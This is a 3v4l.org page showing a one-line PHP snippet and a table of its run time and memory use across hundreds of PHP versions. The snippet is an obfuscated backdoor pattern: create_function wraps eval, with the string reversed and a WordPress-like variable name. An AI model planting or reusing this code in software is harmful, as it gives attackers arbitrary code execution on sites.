3v4l.org

run code in 300+ PHP versions simultaneously
<?php $wp_function_initialize = create_function('$a',strrev(';)a$(lave')); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0170.00018.18
8.3.50.0140.00716.46
8.3.40.0090.00918.83
8.3.30.0100.00319.23
8.3.20.0040.00420.33
8.3.10.0040.00421.76
8.3.00.0050.00319.50
8.2.180.0060.01216.38
8.2.170.0120.00922.96
8.2.160.0120.00420.38
8.2.150.0050.00224.18
8.2.140.0000.00724.66
8.2.130.0040.00426.16
8.2.120.0070.00022.23
8.2.110.0030.00620.52
8.2.100.0120.00318.09
8.2.90.0000.00719.17
8.2.80.0040.00417.97
8.2.70.0040.00417.36
8.2.60.0000.00817.93
8.2.50.0090.00018.07
8.2.40.0000.00818.22
8.2.30.0000.00817.98
8.2.20.0030.00617.66
8.2.10.0000.00717.90
8.2.00.0040.00417.55
8.1.280.0120.00325.92
8.1.270.0040.00423.92
8.1.260.0070.00026.35
8.1.250.0040.00428.09
8.1.240.0090.00023.96
8.1.230.0110.00019.16
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0000.00817.35
8.1.190.0000.00816.88
8.1.180.0000.00918.10
8.1.170.0080.00018.72
8.1.160.0000.00722.01
8.1.150.0040.00418.70
8.1.140.0040.00417.23
8.1.130.0030.00317.77
8.1.120.0050.00217.26
8.1.110.0040.00417.37
8.1.100.0030.00317.27
8.1.90.0040.00417.27
8.1.80.0000.00817.29
8.1.70.0040.00417.23
8.1.60.0030.00617.44
8.1.50.0040.00417.44
8.1.40.0030.00617.34
8.1.30.0030.00517.58
8.1.20.0040.00417.60
8.1.10.0040.00417.53
8.1.00.0000.00717.45
8.0.300.0040.00418.77
8.0.290.0070.00016.58
8.0.280.0030.00318.37
8.0.270.0000.00717.20
8.0.260.0060.00317.10
8.0.250.0030.00316.82
8.0.240.0070.00016.89
8.0.230.0000.00716.98
8.0.220.0040.00416.88
8.0.210.0040.00416.86
8.0.200.0060.00016.96
8.0.190.0070.00016.96
8.0.180.0000.00716.98
8.0.170.0000.00816.80
8.0.160.0000.00716.89
8.0.150.0000.00716.78
8.0.140.0000.00816.82
8.0.130.0040.00413.30
8.0.120.0000.00716.76
8.0.110.0040.00416.80
8.0.100.0040.00416.76
8.0.90.0050.00217.01
8.0.80.0050.01116.78
8.0.70.0030.00616.78
8.0.60.0040.00416.82
8.0.50.0000.00716.74
8.0.30.0090.01016.94
8.0.20.0120.00617.40
8.0.10.0040.00416.80
8.0.00.0120.00516.60
7.4.330.0050.00015.00
7.4.320.0000.00816.36
7.4.300.0030.00316.42
7.4.290.0020.00516.36
7.4.280.0050.00316.34
7.4.270.0030.00316.56
7.4.260.0030.00316.45
7.4.250.0030.00316.41
7.4.240.0030.00516.52
7.4.230.0030.00316.56
7.4.220.0150.00416.47
7.4.210.0030.01316.40
7.4.200.0000.00816.45
7.4.160.0240.01016.29
7.4.150.0090.00917.40
7.4.140.0110.00817.86
7.4.130.0130.00616.54
7.4.120.0050.01116.54
7.4.110.0030.01416.39
7.4.100.0110.00716.47
7.4.90.0110.00816.54
7.4.80.0160.00319.39
7.4.70.0070.01016.40
7.4.60.0160.00016.28
7.4.50.0040.00416.25
7.4.40.0070.01016.61
7.4.30.0030.01316.18
7.4.00.0070.01214.78
7.3.330.0000.00613.08
7.3.320.0030.00313.08
7.3.310.0030.00616.27
7.3.300.0080.00016.25
7.3.290.0070.00716.26
7.3.280.0080.00816.23
7.3.270.0070.01117.40
7.3.260.0110.00516.21
7.3.250.0100.00616.40
7.3.240.0120.00616.25
7.3.230.0080.01216.42
7.3.210.0070.01016.54
7.3.200.0120.00619.39
7.3.190.0120.00916.39
7.3.180.0040.01216.26
7.3.170.0040.01216.30
7.3.160.0160.00316.20
7.3.120.0030.01014.73
7.3.110.0110.00714.95
7.3.100.0040.00714.64
7.3.90.0070.00714.93
7.3.80.0100.00314.63
7.3.70.0090.00414.63
7.3.60.0090.00614.64
7.3.50.0030.00714.79
7.3.40.0040.00714.76
7.3.30.0100.00614.77
7.3.20.0090.00016.65
7.3.10.0030.00916.49
7.3.00.0100.00716.30
7.2.330.0070.01116.44
7.2.320.0110.00616.66
7.2.310.0080.00816.34
7.2.300.0060.01216.62
7.2.290.0150.00316.27
7.2.250.0150.00314.70
7.2.240.0110.00714.54
7.2.230.0000.01514.95
7.2.220.0060.00614.76
7.2.210.0030.01315.03
7.2.200.0000.01214.57
7.2.190.0060.00614.82
7.2.180.0070.00314.98
7.2.170.0070.00414.71
7.2.60.0040.01116.84
7.2.00.0070.01119.26
7.1.330.0000.01515.78
7.1.320.0080.00415.41
7.1.310.0060.00915.82
7.1.300.0040.01115.74
7.1.290.0030.00815.79
7.1.280.0030.00615.83
7.1.270.0070.00715.67
7.1.260.0070.01015.89
7.1.200.0060.00615.66
7.1.100.0070.01717.88
7.1.70.0050.00217.03
7.1.60.0070.01719.32
7.1.50.0100.01416.77
7.1.00.0070.07322.40
7.0.200.0030.00616.50
7.0.140.0030.07322.07
7.0.60.0070.07319.94
7.0.50.0070.08017.87
7.0.40.0030.04320.27
7.0.30.0270.07720.23
7.0.20.0200.03720.13
7.0.10.0100.05720.24
7.0.00.0070.08720.07
5.6.280.0070.07021.07
5.6.210.0070.06320.66
5.6.200.0070.08018.28
5.6.190.0070.08720.43
5.6.180.0030.04020.63
5.6.170.0230.07720.71
5.6.160.0000.04320.46
5.6.150.0100.07718.27
5.6.140.0100.08018.11
5.6.130.0000.07018.14
5.6.120.0030.04021.00
5.6.110.0070.07721.12
5.6.100.0030.04720.98
5.6.90.0100.08020.94
5.6.80.0100.08020.43
5.6.70.0200.06720.36
5.5.350.0030.04020.43
5.5.340.0030.08018.04
5.5.330.0130.07320.43
5.5.320.0030.08020.51
5.5.310.0300.03720.51
5.5.300.0000.04718.02
5.5.290.0030.08317.95
5.5.280.0030.04020.97
5.5.270.0130.04720.64
5.5.260.0030.04320.86
5.5.250.0100.07720.65
5.5.240.0030.04020.11
5.4.450.0170.08019.56
5.4.440.0230.03019.29
5.4.430.0170.04319.19
5.4.420.0170.03719.54
5.4.410.0130.03719.41
5.4.400.0130.04319.23
5.4.390.0130.04018.98
5.4.380.0130.03719.07
5.4.370.0170.03319.09
5.4.360.0230.03719.32
5.4.350.0130.03718.95
5.4.340.0100.04019.08
5.4.320.0130.03719.09
5.4.310.0170.03719.14
5.4.300.0130.03719.01
5.4.290.0200.03719.31
5.4.280.0070.05319.22
5.4.270.0130.05319.20
5.4.260.0200.05319.09
5.4.250.0230.04319.30
5.4.240.0230.07318.94
5.4.230.0230.06718.98
5.4.220.0300.06019.21
5.4.210.0230.07319.09
5.4.200.0200.04319.06
5.4.190.0200.04019.00
5.4.180.0200.05319.17
5.4.170.0270.07319.07
5.4.160.0230.04719.06
5.4.150.0170.04719.22
5.4.140.0230.06316.51
5.4.130.0230.07016.52
5.4.120.0200.05316.66
5.4.110.0300.05316.56
5.4.100.0170.07716.45
5.4.90.0270.06316.18
5.4.80.0270.05716.55
5.4.70.0170.03716.44
5.4.60.0170.05016.33
5.4.50.0270.03716.55
5.4.40.0270.06316.48
5.4.30.0270.07016.32
5.4.20.0270.04016.34
5.4.10.0200.04316.43
5.4.00.0170.03715.86
5.3.290.0130.04014.66
5.3.280.0200.04314.51
5.3.270.0300.06314.66
5.3.260.0270.06714.53
5.3.250.0230.06014.67
5.3.240.0170.05014.52
5.3.230.0200.07714.76
5.3.220.0230.07714.68
5.3.210.0230.06714.57
5.3.200.0270.03014.54
5.3.190.0230.07314.62
5.3.180.0270.06714.68
5.3.170.0200.05714.57
5.3.160.0270.07014.64
5.3.150.0230.05714.57
5.3.140.0200.05014.60
5.3.130.0330.06314.52
5.3.120.0230.05714.52
5.3.110.0130.05714.71
5.3.100.0230.06314.49
5.3.90.0230.04314.49
5.3.80.0100.04714.49
5.3.70.0170.07014.49
5.3.60.0130.05714.49
5.3.50.0170.04714.49
5.3.40.0130.05014.49
5.3.30.0200.04314.49
5.3.20.0130.05014.49
5.3.10.0170.07714.49
5.3.00.0230.07014.49
5.2.170.0270.05314.49
5.2.160.0170.04014.49
5.2.150.0170.02714.49
5.2.140.0200.02714.49
5.2.130.0130.03014.49
5.2.120.0170.06014.49
5.2.110.0130.05714.49
5.2.100.0100.05314.49
5.2.90.0270.03014.49
5.2.80.0270.06014.49
5.2.70.0230.04314.49
5.2.60.0170.04314.49
5.2.50.0300.04314.49
5.2.40.0200.05014.49
5.2.30.0170.03014.49
5.2.20.0170.02714.49
5.2.10.0170.05314.49
5.2.00.0130.04014.49
5.1.60.0130.04014.49
5.1.50.0170.04014.49
5.1.40.0130.03014.49
5.1.30.0230.04714.49
5.1.20.0170.04014.49
5.1.10.0130.05314.49
5.1.00.0300.04714.49
5.0.50.0100.03014.49
5.0.40.0130.03714.49
5.0.30.0070.03714.49
5.0.20.0130.04014.49
5.0.10.0070.03714.49
5.0.00.0070.06314.49
4.4.90.0100.03014.49
4.4.80.0170.02714.49
4.4.70.0100.03714.49
4.4.60.0100.02714.49
4.4.50.0070.01714.49
4.4.40.0100.05014.49
4.4.30.0100.01714.49
4.4.20.0100.02714.49
4.4.10.0070.03314.49
4.4.00.0070.05714.49
4.3.110.0100.03314.49
4.3.100.0100.01314.49
4.3.90.0070.02714.49
4.3.80.0070.05314.49
4.3.70.0030.02014.49
4.3.60.0100.05014.49
4.3.50.0100.03714.49
4.3.40.0100.04314.49
4.3.30.0070.03314.49
4.3.20.0070.03714.49
4.3.10.0070.02314.49
4.3.00.0070.03014.49

preferences:
61 ms | 400 KiB | 5 Q